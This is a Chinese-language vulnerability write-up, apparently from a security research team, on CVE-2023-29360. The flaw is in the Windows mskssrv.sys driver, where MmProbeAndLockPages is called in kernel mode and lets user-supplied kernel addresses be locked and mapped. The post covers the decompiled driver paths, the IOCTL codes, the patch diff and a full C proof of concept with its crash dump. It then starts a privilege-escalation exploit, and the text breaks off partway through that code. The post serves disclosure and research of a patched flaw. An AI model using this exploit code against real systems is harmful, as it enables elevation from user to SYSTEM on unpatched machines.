这篇博文是关于我们在 X 上演示的 N-day全链漏洞利用中使用的漏洞的第三个系列。在这篇博文中,我们将介绍如何将权限从用户提升到系统,以链接 VMWare 的漏洞。该漏洞是 CVE-2023–29360,这是驱动程序中 mskssrv.sys
一个漂亮而强大的逻辑错误。
@Synacktiv在 Pwn2Own 2023 Vancouver 中使用了此漏洞。此漏洞已于 6 月修补,自 2023 年 7 月以来,我们的威胁情报服务 Fermium-252 同时存在 PoC 和利用此漏洞。
内存描述符列表 (MDL)
内存描述符列表 (MDL) 是此漏洞最重要的概念。在 MSDN 中,它对 MDL 的描述如下。
An I/O buffer that spans a range of contiguous virtual memory addresses
can be spread over several physical pages, and these pages can be discontiguous.
The operating system uses a memory descriptor list (MDL) to describe
the physical page layout for a virtual memory buffer.
如上所述,MDL用于描述虚拟地址和物理地址的映射,并表示为 _MDL
结构。
0: kd> dt _MDL
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
StartVa
是虚拟地址, ByteOffset
是开始的偏移量, MappedSystemVa
并且是 MDL 描述的映射虚拟地址。 MappedSystemVa
仅在分别锁定和映射 MmProbeAndLockPages
和 MmMapLockedPagesSpecifyCache
后才有效。此外,物理页面地址位于结构的 _MDL
末尾。
通常,MDL 的使用方式如下。
PMDL pMDL = NULL;
pMDL = IoAllocateMdl(Address, Size, FALSE, FALSE, NULL);
__try
{
MmProbeAndLockPages(pMDL, AccessMode, IoReadAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl(pMDL);
return;
}
PVOID MappingData = MmMapLockedPagesSpecifyCache(pMDL, AccessMode, MmNonCached, NULL, FALSE, NormalPagePriority);
若要查看 _MDL
结构的实际内存数据,让我们检查 WinDbg 上的数据。
0: kd> dt _MDL ffffe78fc266bb30
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n139
+0x00c AllocationProcessorNumber : 1
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff8001`b72b1008 Void // Mapped Address
+0x020 StartVa : 0xffffc082`b38e3000 Void // Virtual Address
+0x028 ByteCount : 0x1008
+0x02c ByteOffset : 8 // Offset
0: kd> dq ffffe78fc266bb30 L8
ffffe78f`c266bb30 00000000`00000000 00000001`008b0040
ffffe78f`c266bb40 00000000`00000000 ffff8001`b72b1008
ffffe78f`c266bb50 ffffc082`b38e3000 00000008`00001008
ffffe78f`c266bb60 00000000`00229647 00000000`00220448
^^^^^^^^^^^^^^^^^
Physical Page Address
0: kd> db 0xffffc082`b38e3000 + 8
ffffc082`b38e3008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffffc082`b38e3018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffffc082`b38e3028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 ..J....^_P.....
ffffc082`b38e3038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffffc082`b38e3048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffffc082`b38e3058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffffc082`b38e3068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffffc082`b38e3078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
0: kd> !db 00229647*1000 + 8
#229647008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
#229647018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
#229647028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 ..J....^_P.....
#229647038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
#229647048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
#229647058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
#229647068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
#229647078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
0: kd> db 0xffff8001`b72b1008
ffff8001`b72b1008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffff8001`b72b1018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffff8001`b72b1028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 ..J....^_P.....
ffff8001`b72b1038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffff8001`b72b1048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffff8001`b72b1058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffff8001`b72b1068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffff8001`b72b1078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
如上图所示,虚拟地址和物理地址指向的数据是相同的,这意味着MDL映射了物理地址和虚拟地址。
CVE-2023–29360
mskssrv.sys
驱动程序中存在此漏洞。此驱动程序用于在内核模式下处理流数据,例如相机设备。
为了找到与此驱动程序通信的设备路径,我们检查 FrameServer
了 ,该服务处理流数据。在服务 dll 中, FrameService.dll
我们可以找到获取 mskssrv.sys
驱动程序的设备句柄的代码。
__int64 __fastcall MSKSSrv_GetHandle(_QWORD *phandle){
...
result = CM_Get_Device_Interface_ListW(&GUID_3c0d501a_140b_11d1_b40f_00a0c9223196, 0i64, buffer, bufferlen, 0);
if ( !result && *buffer){
handle = CreateFileW(buffer, 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
if ( handle != (HANDLE)-1i64 )
{
*phandle = handle;
result = 0i64;
}
...
}
从这段代码中,我们可以看到设备路径是 \?ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
在此驱动程序上调用 DeviceIoControl
API 将触发该 mskssrv!SrvDispatchIoControl
函数。
__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...
case 0x2F0410:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...
SrvDispatchIoControl
根据 IoControlCode
调用 DeviceIoControl
适当的函数。何时 IoControlCode
调用 0x2F0408
, FSRendezvousServer::PublishTx
并 FSRendezvousServer::PublishTx
再次调用 FSStreamReg::PublishTx
。
__int64 __fastcall FSStreamReg::PublishTx(FSStreamReg *FsStreamRegObj, __int64 data)
{
// [1]. Validate Input Buffer
result = FSStreamReg::CheckRecycle(FsStreamRegObj, data);
if ( result < 0 )
return result;
// [2]. Repeat until `data+0x24`
for ( idx = 0; idx < *(data + 0x24); ++idx )
{
offset = 0x88i64 * idx;
if ( *(offset + data + 0x70) )
{
// Allocate memory
buffer = operator new(0xD8ui64, unknown, 0x736C644Du);
if ( buffer )
{
*(buffer + 16) = 0;
*(buffer + 208) = 0;
memset((buffer + 24), 0, 0xB8ui64);
}
else
{
return 0xC000009A;
}
// [3]. Allocate MDL by using user supplied data
result = FSFrameMdl::AllocateMdl(buffer, offset + data + 0x28);
if ( result < 0 )
{
// ERROR
}
// [4]. insert the MDL to FSFrameMdlList in FsStreamRegObject
FSFrameMdlList::InsertTail((FsStreamRegObj + 0xC8), buffer);
...
}
}
...
}
验证用户提供的值 ( [1]
) 后, FSStreamReg::PublishTx
通过循环 Count
data+0x24
( ) 的次数来处理用户数据 [2]
。MDL 通过 FSFrameMdl::AllocateMdl
用户提供的数据 ( [3]
) 进行分配,MDL 信息插入到 ( [4]
) 中的 FsStreamRegObject
已发布列表中。
其中,让我们仔细看看 FSFrameMdl::AllocateMdl
函数的代码。
__int64 __fastcall FSFrameMdl::AllocateMdl(FSFrameMdl *FsFrameMdlobj, __int64 user_data)
{
// [5]. Copy User Data
HandleInformation = 0i64;
Object = 0i64;
memcpy(FsFrameMdlobj + 0x18, user_data, 0x88);
mapflag = *(user_data + 0x48);
if ( !mapflag )
{
// Omitted
}
switch(mapflag){
case 4:
case 8:
// [*] Create MDL by using user supplied data
result = FsAllocAndLockMdl(*(user_data + 0x20), *(user_data + 0x34), FsFrameMdlobj + 0xA0);
if(result < 0){ /* ERROR */ }
case 1:
// [*] Create MDL by using user supplied data
result = FsAllocAndLockMdl(*(user_data + 0x38), *(user_data + 0x44), FsFrameMdlobj + 0xB0);
if(result < 0){ /* ERROR */ }
...
}
...
}
FSFrameMdl::AllocateMdl
将用户数据复制到 的内核缓冲区 ( FsFrameMdlobj
) 中 [5]
,并使用用户可控参数进行调用 FsAllocAndLockMdl
。
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
// [6]. Allocate MDL
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
// [7]. Probe and Lock MDL with "KernelMode (0)"
MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
*mdl_object = Alloc_Mdl;
return 0;
}
FsAllocAndLockMdl
通过 IoAllocateMdl
( [6]
) 分配 MDL,并在允许 ( ) 的情况下 IoWriteAccess
锁定 MDL 区域 [7]
。 MmProbeAndLockPages
但是,在调用 MmProbeAndLockPages
时,第二个参数 AccessMode
设置为 KernelMode(0)
。如果为 AccessMode
KernelMode(0)
,则跳过对地址的验证。
// MmProbeAndLockPages -> MiProbeAndLockPages-> MiProbeAndLockPrepare
__int64 __fastcall MiProbeAndLockPrepare(__int64 buffer, PMDL MemoryDescriptorList, unsigned __int64 address, unsigned int size, char AccessMode, int is_read, int flag)
{
v8 = is_read;
v10 = address + size;
*(_QWORD *)(buffer + 72) = KeGetCurrentThread();
v56 = 0;
*(_QWORD *)(buffer + 56) = MemoryDescriptorList;
*(_DWORD *)(buffer + 88) = is_read;
*(_QWORD *)buffer = address; // Base Address
*(_QWORD *)(buffer + 8) = address + size; // Start Address
// Check Address with the AccessMode==UserMode(1)
if ( AccessMode ){
if ( address + size > 0x7FFFFFFF0000i64 || address >= address + size )
{
++dword_140C4E5F8;
return 0xC0000005;
}
}
...
}
如上面的代码所示,仅当 AccessMode
为 时 UserMode(1)
,才会验证地址。也就是说,我们可以用任意地址锁定 MDL,包括来自用户应用程序的内核地址空间。
CVE-2023–29360 补丁
比较模块和版本:ntoskrnl.exe(x64)、10.0.19041.2913、10.0.19041.3086
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
- MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
+ MmProbeAndLockPages(Alloc_Mdl, 1, IoWriteAccess); // Change the AccessMode to UserMode
*mdl_object = Alloc_Mdl;
return 0;
}
补丁非常简单。锁定页面时,第二个参数 AccessMode
将更改为 UserMode(1)
。如果是 AccessMode
UserMode
, MmProbeAndLockPages
则检查地址是否放置在用户内存空间中(该地址应小于 0x7FFFFFFF0000
)。
到达易受攻击的代码
要触发此漏洞,我们需要满足到达易受攻击代码的条件。
__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj); // [*] should be succeeded
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
}
首先, FSGetRendezvousServer
应该成功检索到 RendezvousServerObj
没有错误 ( [*]
)。
__int64 __fastcall FSGetRendezvousServer(struct FSRendezvousServer **RendezvousServerObjPtr)
{
result = 0;
if ( ServerObj_1C0005048 )
{
// Store ServerObj_1C0005048 to RendezvousServerObjPtr
*RendezvousServerObjPtr = ServerObj_1C0005048;
_InterlockedIncrement(ServerObj_1C0005048);
}
else
{
result = 0xC0000010;
}
KeReleaseMutex(&Mutex, 0);
return v2;
}
如上面的代码所示, FSRendezvousServer
object 来自全局变量 ServerObj_1C0005048
。 ServerObj_1C0005048
设置在 中 FSInitializeContextRendezvous
,当 IoControlCode
是 0x2F0400
时调用。
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
...
RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
if(RendezvousServerObj){
// Initializing RendezvousServerObj
}
ServerObj_1C0005048 = RendezvousServerObj;
...
}
接下来,我们来看看在入口函数中触发目标函数 FsAllocAndLockMdl
需要满足的条件 FSRendezvousServer::PublishTx
。
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
...
// Validate input buffer
data = (__int64)irp->AssociatedIrp.MasterIrp;
if ( !data )
return 0xC000000D;
inputbufferlen = v2->Parameters.DeviceIoControl.InputBufferLength;
if ( (unsigned int)inputbufferlen < 0xB0 )
return 0xC000000D;
cnt = *(_DWORD *)(data + 0x20);
if ( cnt - 1 > 0x12B || *(_DWORD *)(data + 0x24) > cnt || inputbufferlen < 0x88 * (unsigned __int64)(cnt - 1) + 0xB0 )
return 0xC000000D;
FSRendezvousServer::Lock(this);
FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
// [*] Find the "FsContext2" is in the FSRendezvousServer object
isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
if ( isfindobj )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);// Lock FsStreamReg
// [8]. Call FSStreamReg::PublishTx
result = FSStreamReg::PublishTx(FsContext2, data);
首先, FSRendezvousServer::PublishTx
验证用户提供的数据。这些条件很容易满足,因为数据是完全可控的。然后,它调用 FSRendezvousServer::FindObject
以检查 obj->FileObject->FsContext2
is in FSRendezvousServer
. FSRendezvousServer::FindObject
只有当找到 in FSRendezvousServer
时 FsContext2
, FSStreamReg::PublishTx
才称为 ( [8]
)。
我们可以从用作 ( ) 值的事实中推断出 FsContext2
这是对象的 FSStreamReg
类型 [8]
。 FsContext2
this
FSStreamReg::PublishTx
因此,我们需要找到函数创建 FSStreamReg
对象并将对象地址保存到 obj->FileObject->FsContext2
。该函数是 FSRendezvousServer::InitializeStream
,如下所示。
__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
obj = irp->Tail.Overlay.CurrentStackLocation;
if ( obj->Parameters.DeviceIoControl.IoControlCode != 0x2F0404 || obj->FileObject->FsContext2 )
{
result = 0xC0000010;
}
else
{
data = (__int64)irp->AssociatedIrp.MasterIrp;
/**
Validate User Data
**/
// Allocate Buffer
buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u);
if ( buffer )
FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg
if ( !FSStreamReg_obj )
return 0xC000009A;
// Initialize FSStreamReg
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
else
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);
...
// [*] Save FSStreamReg_obj to FsContext2
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
_InterlockedIncrement(FSStreamReg_obj + 6);
...
FSRendezvousServer::InitializeStream
当 IoControlCode
是 0x2F0404
时 ,可以调用 。
总而言之,最终的PoC代码将是这样的。
#include <windows.h>
#include <winternl.h>
#include <cfgmgr32.h>
#include <stdio.h>
#pragma comment(lib, "Cfgmgr32.lib")
#define inputsize 0x100
#define outputsize 0x100
int main() {
WCHAR DeviceLink[256] = L"\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
HANDLE hDevice = NULL;
NTSTATUS ntstatus = 0;
hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
printf("[+] Initialize Rendezvousn");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous
printf("[+] Initialize Streamn");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74
*(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE
ntstatus = DeviceIoControl(hDevice, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream
ULONG_PTR targetaddr = 0xffffffff00031337;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %pn", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2
*(DWORD64*)(inputBuffer + 0x70) = 0x8; // flag : (BYTE)(1,4,8)
ntstatus = DeviceIoControl(hDevice, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx
}
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFFFFFF00031337,0x0000000000000002,0xFFFFBE8223684321,0x0000000000000002)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=fffff8001db9a180
rip=fffff8001f805240 rsp=ffffbe8223683898 rbp=ffffbe8223683a00
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=ffffffff00031337
r14=0000000000000000 r15=ffff850b8e13a080
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
nt!DbgBreakPointWithStatus:
fffff800`1f805240 cc int 3
...
0: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff800`1f9162f2 : ffffbe82`23683a00 fffff800`1f77f010 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus
01 fffff800`1f9158d6 : 00000000`00000003 ffffbe82`23683a00 fffff800`1f813040 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`1f7fbda7 : 00000000`00000000 00000000`00000000 ffffffff`00031337 fffff800`1db9a180 : nt!KeBugCheck2+0x946
03 fffff800`1f84ac53 : 00000000`00000050 ffffffff`00031337 00000000`00000002 ffffbe82`23684321 : nt!KeBugCheckEx+0x107
04 fffff800`1f66e7b0 : 00000000`00000000 00000000`00000002 ffffbe82`23684339 00000000`00000000 : nt!MiSystemFault+0x1b2273
05 fffff800`1f716f3c : ffff850b`8e9ef000 fffff800`1f6131b5 ffffffff`ffffffff ffffbe82`00000002 : nt!MmAccessFault+0x400
06 fffff800`1f66c9b7 : 00000000`00000000 ffffaa55`2a9fffe0 ffffbe82`23684450 ffffaa55`2a954aa0 : nt!MiFaultInProbeAddress+0xbc
07 fffff800`1f66bcd3 : 00000000`00000000 00000000`00000000 ffffbe82`236844c9 ffffffff`00031337 : nt!MiLockPageLeafPageTable+0x2b7
08 fffff800`1f66aa59 : 00000000`00000000 ffff850b`8ea172f0 00000000`00000000 00000000`00000000 : nt!MiProbeAndLockPages+0x153
09 fffff800`3e402c98 : ffff850b`8e9ef170 00000000`00000000 00000000`00000200 00000000`00000000 : nt!MmProbeAndLockPages+0x29
0a fffff800`3e40b824 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSKSSRV!FsAllocAndLockMdl+0x64
0b fffff800`3e40c63d : 00000000`00000000 00000000`00000000 ffff850b`8e9ef170 00000000`00000000 : MSKSSRV!FSFrameMdl::AllocateMdl+0x140
0c fffff800`3e40a7e9 : 00000000`00000001 ffff850b`8f3ce9e8 ffff850b`8f3ce7b0 ffff850b`8e8a05f0 : MSKSSRV!FSStreamReg::PublishTx+0x9d
0d fffff800`3e409513 : 00000000`00000000 ffffbe82`236846f0 ffff850b`8f3ce7b0 ffff850b`88405900 : MSKSSRV!FSRendezvousServer::PublishTx+0xdd
0e fffff800`27e7dddc : ffff850b`8f3ce7b0 ffff850b`8bb86430 ffff850b`8f3cea30 00000000`00000fff : MSKSSRV!SrvDispatchIoControl+0x143
...
编写EXP
在 PoC 中,我们演示了仅锁定任意地址。为了利用这个原语,我们需要映射纵的 MDL。
FSFrameMdl::MapPages
是映射 MDL 的函数。 FSFrameMdl::MapPages
FSRendezvousServer::ConsumeTx
可以从 访问,当 IoControlCode
是 0x2F0410
时调用,它在内部调用 FSStreamReg::ConsumeTx
。
__int64 __fastcall FSStreamReg::ConsumeTx(__int64 FsStreamReg, __int64 data)
{
if ( !data || !*(_DWORD *)(data + 0x20) )
return (unsigned int)-1073741811;
// [9]. Check the flag in FsStreamReg Object
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled()
&& (!*(_DWORD *)(FsStreamReg + 0x28) || !*(_DWORD *)(FsStreamReg + 0x2C)) )
{
return 0xC0000466;
}
*(_DWORD *)(data + 0x24) = 0;
list = (_QWORD *)(FsStreamReg + 0x110);
if ( (_QWORD *)*list != list ) // Check List is Empty
{
while ( 1 )
{
// [10]. Get FsFrameMdl from Published List
FsFrameMdl = FSList::RemoveHead((FSList *)(FsStreamReg + 0x108));
...
// [11]. Map the FsFrameMdl to User Memory
result = FSFrameMdl::MapPages(
FsFrameMdl,
*(struct _EPROCESS **)(FsStreamReg + 0x38),
*(struct _EPROCESS **)(FsStreamReg + 0x40),
(struct FSMemoryStream *)(136 * v10 + data + 0x28));
...
// Add FsFrameMdl to Consumed List
FSFrameMdlList::InsertTail((FSFrameMdlList *)(FsStreamReg + 0x140), (struct FSFrameMdl *)FsFrameMdl);
...
}
}
FSStreamReg::ConsumeTx
FsStreamReg
检查对象的标志 [9]
,然后从已发布的列表 ( [10]
) 中取出一个包含此漏洞操纵的 MDL FsFrameMdl
的对象。然后, FSFrameMdl::MapPages
调用映射 MDL ( [11]
)。
为了调用 FSFrameMdl::MapPages
,必须满足 中的 [9]
条件,即 和 FsStreamReg + 0x28
FsStreamReg + 0x2C
不为 NULL。每个值分别设置在 FSStreamReg::Initialize
和 FSStreamReg::Register
中。
__int64 __fastcall FSStreamReg::Initialize(__int64 FsStreamReg, struct _IRP *a2, struct FSRegObjectList *a3, __int64 data, char a5)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 320), v9, a5);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetInitProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
...
*(_DWORD *)(FsStreamReg + 440) = *(_DWORD *)(data + 32) << 10;
*(_DWORD *)(FsStreamReg + 448) = *(_DWORD *)(data + 28);
*(_DWORD *)(FsStreamReg + 152) = 1;
*(_QWORD *)(FsStreamReg + 160) = *(_QWORD *)(data + 8);
*(_QWORD *)(FsStreamReg + 168) = *(_QWORD *)(data + 16);
*(_DWORD *)(FsStreamReg + 176) = *(_DWORD *)(data + 24);
*(_DWORD *)(FsStreamReg + 180) = *(_DWORD *)(data + 28);
*(_QWORD *)(FsStreamReg + 192) = 0i64;
// [*] Set FsStreamReg + 0x28 As 1, HERE
*(_DWORD *)(FsStreamReg + 0x28) = 1;
*(_QWORD *)(FsStreamReg + 456) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
return v5;
}
__int64 __fastcall FSStreamReg::Register(__int64 FsStreamReg, struct _IRP *a2, const struct _FSStreamRegInfo *a3, KPROCESSOR_MODE a4)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 200), v9, a4);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetRegProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
*(_DWORD *)(FsStreamReg + 0x98) |= 2u;
*(_QWORD *)(FsStreamReg + 0x1D0) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
// [*] Set FsStreamReg + 0x2C As 1, HERE
*(_DWORD *)(FsStreamReg + 0x2C) = 1;
return v4;
}
FSStreamReg::Initialize
FSRendezvousServer::InitializeStream
在触发此漏洞时应调用,如 PoC 部分所述。 FSStreamReg::Register
被调用, FSRendezvousServer::RegisterStream
在 IoControlCode
时 0x2F0420
触发。
__int64 __fastcall FSRendezvousServer::RegisterStream(FSRendezvousServer *this, struct _IRP *a2)
{
obj = a2->Tail.Overlay.CurrentStackLocation;
// [12]. Check obj->FileObject->FsContext2 is NULL
if ( obj->Parameters.Read.ByteOffset.LowPart != 0x2F0420 || obj->FileObject->FsContext2 )
return 0xC0000010;
data = (__int64)a2->AssociatedIrp.MasterIrp;
/**
Validate the user data
**/
// call FSStreamReg::Register
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
v11 = FSStreamReg::Register(FSStreamReg, a2, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
else
v11 = FSStreamReg::Register(FSStreamReg, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
}
但是,如果 不 obj->FileObject->FsContext2
为 NULL,则此函数会立即返回而不调用 FSStreamReg::Register
( [12]
)。因为 obj->FileObject->FsContext2
已经设置为 FSStreamReg
触发漏洞,所以不会满足此条件。但是,对于此设备使用另一个句柄可以很容易地满足此条件,因为为每个句柄分配了 。 obj->FileObject
最后,我们可以通过这个漏洞映射任意地址。
hDeviceClient = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
printf("[+] Initialize Rendezvousn");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous
printf("[+] Initialize Streamn");
memset(inputBuffer, 0, inputsize);
